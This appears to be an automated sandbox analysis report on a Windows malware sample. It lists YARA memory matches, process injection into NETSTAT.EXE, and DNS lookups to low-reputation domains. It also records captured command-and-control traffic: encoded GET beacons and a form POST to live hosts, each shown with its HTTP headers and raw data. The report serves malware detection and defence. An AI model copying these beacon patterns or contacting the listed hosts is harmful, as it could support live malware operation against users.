Windows Analysis Report
NU1aAbSmCr.exe

AI detected suspicious sample

Source: Yara match	File source: 4.2.NU1aAbSmCr.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.NU1aAbSmCr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1824100351.0000000003450000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2583578419.00000000049B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2580801626.00000000034E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2581282687.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1821048829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1822625318.0000000001950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2578681040.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2580938292.0000000002D40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: NU1aAbSmCr.exe

Joe Sandbox ML: detected

Source: NU1aAbSmCr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: NU1aAbSmCr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: tTOn.pdbSHA256 source: NU1aAbSmCr.exe
Source:	Binary string: netstat.pdbGCTL source: NU1aAbSmCr.exe, 00000004.00000002.1821360439.0000000001157000.00000004.00000020.00020000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000A.00000002.2579923948.0000000001227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: netstat.pdb source: NU1aAbSmCr.exe, 00000004.00000002.1821360439.0000000001157000.00000004.00000020.00020000.00000000.sdmp, mCFHCvdrqdDiDT.exe, 0000000A.00000002.2579923948.0000000001227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: mCFHCvdrqdDiDT.exe, 0000000A.00000002.2578656019.000000000005E000.00000002.00000001.01000000.0000000C.sdmp, mCFHCvdrqdDiDT.exe, 0000000E.00000000.1887553135.000000000005E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: NU1aAbSmCr.exe, 00000004.00000002.1821551688.00000000015B0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000003.1821240093.0000000003553000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000002.2581929956.0000000003A5E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000002.2581929956.00000000038C0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000003.1823573799.000000000370C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: NU1aAbSmCr.exe, NU1aAbSmCr.exe, 00000004.00000002.1821551688.00000000015B0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, NETSTAT.EXE, 0000000B.00000003.1821240093.0000000003553000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000002.2581929956.0000000003A5E000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000002.2581929956.00000000038C0000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 0000000B.00000003.1823573799.000000000370C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tTOn.pdb source: NU1aAbSmCr.exe

Source: C:\Windows\SysWOW64\NETSTAT.EXE

Code function: 11_2_0305C780 FindFirstFileW,FindNextFileW,FindClose,

11_2_0305C780

Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 4x nop then xor eax, eax		11_2_03049B80
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 4x nop then mov ebx, 00000004h		11_2_037104E8

Networking

Performs DNS queries to domains with low reputation

Source:	DNS query: www.030002304.xyz
Source:	DNS query: www.tophm.xyz

Uses netstat to query active network connections and open ports

Source: C:\Program Files (x86)\ZFyhsaImMGOFEfKEektcPzxHoWTTOspFruWOLxwRgdfvda\mCFHCvdrqdDiDT.exe

Process created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"

Source: Joe Sandbox View	IP Address: 65.21.196.90 65.21.196.90
Source: Joe Sandbox View	IP Address: 199.192.21.169 199.192.21.169

Source: Joe Sandbox View	ASN Name: CP-ASDE CP-ASDE
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /koup/?wZBh=UzoT8ph&8T2hn=zjgQ1IglZSD3j4X7Mb/L9VMKC/lioNLyTiYpIFDypb2XxqZYhzfHyCasu3J1FKt+ikpO665Ej+Wn9KB3IEhbZRsyBSNLju/tAMuqMeNka3iE/L9xhA== HTTP/1.1Host: www.kovallo.cloudAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /6uay/?8T2hn=4t2O3O+pZmQg6Me57d3wJo6heDIGdjpowWW3Ki6AModP/Z3yDnI8KOs9thhsa1jg844M9/RLYM/vwhOiRdypu3qnYIwYUCnWcXg0sNwBl87ACBA0Bg==&wZBh=UzoT8ph HTTP/1.1Host: www.030002304.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /igaf/?wZBh=UzoT8ph&8T2hn=z7pb/AVrgdjheaZEOJkK38wzdFwtWkfwIJb37ItQC6dYo/jeths6OaqB6aU1oO66EyRWu95qtLC+XaCQo95JR9SCocHD8In7sYhzsBDy4zub0g2aDA== HTTP/1.1Host: www.newdaydawning.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /fhdl/?8T2hn=LZaialQPeltHsffZ/7p0gpt1IPXssyuTEG6qh16Ey8GBHHnvE/VN849lTokelyHAfcJ0dO++uyhAerPT/GlJwSRZaBuTZ4zvU4RSMcEjcessmo3sdA==&wZBh=UzoT8ph HTTP/1.1Host: www.coffee-and-blends.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Source: global traffic	HTTP traffic detected: GET /30rz/?wZBh=UzoT8ph&8T2hn=wd7m4mq4h41P+rN28pyT+ttY7GHVuAvuqtpnERraqOjaWWvMpBvRQDu/0Ra1ptpTEf0KGGfWsjsqje2uOEmu4OBI5eYxRB5JEme+Ix16OOjxqM3SMw== HTTP/1.1Host: www.tophm.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)

Source: global traffic	DNS traffic detected: DNS query: www.kovallo.cloud
Source: global traffic	DNS traffic detected: DNS query: www.030002304.xyz
Source: global traffic	DNS traffic detected: DNS query: www.newdaydawning.net
Source: global traffic	DNS traffic detected: DNS query: www.coffee-and-blends.info
Source: global traffic	DNS traffic detected: DNS query: www.tophm.xyz

Source: unknown

HTTP traffic detected: POST /6uay/ HTTP/1.1Host: www.030002304.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brOrigin: http://www.030002304.xyzContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 194Cache-Control: no-cacheReferer: http://www.030002304.xyz/6uay/User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)Data Raw: 38 54 32 68 6e 3d 31 76 65 75 30 36 4f 74 4d 6b 78 75 39 74 2f 5a 35 4e 53 49 47 49 53 55 66 41 51 52 51 51 46 69 69 30 4f 77 44 78 65 4b 44 75 49 36 7a 37 33 4b 4e 6c 49 59 49 63 45 37 36 77 46 4e 51 41 62 5a 36 4e 64 46 67 38 5a 77 58 63 62 2b 37 7a 47 6e 51 62 33 70 6f 32 2b 51 53 61 56 4c 54 44 33 42 5a 30 6f 4f 76 64 6f 42 77 74 33 67 4a 41 73 58 63 31 2b 61 37 4d 76 59 6b 52 7a 67 32 48 6a 6e 67 37 56 37 48 2f 41 44 73 33 50 77 46 31 64 37 48 62 78 39 53 4a 37 51 6d 4e 72 4c 47 49 37 32 6e 62 34 79 4f 58 50 2f 65 59 6e 41 4a 67 53 68 70 68 77 41 48 6e 39 34 4a 2b 31 63 Data Ascii: 8T2hn=1veu06OtMkxu9t/Z5NSIGISUfAQRQQFii0OwDxeKDuI6z73KNlIYIcE76wFNQAbZ6NdFg8ZwXcb+7zGnQb3po2+QSaVLTD3BZ0oOvdoBwt3gJAsXc1+a7MvYkRzg2Hjng7V7H/ADs3PwF1d7Hbx9SJ7QmNrLGI72nb4yOXP/eYnAJgShphwAHn94J+1c

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:02:00 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 09 Oct 2024 12:02:16 GMTvary: User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 09 Oct 2024 12:02:18 GMTvary: User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 09 Oct 2024 12:02:21 GMTvary: User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 09 Oct 2024 12:02:23 GMTvary: User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 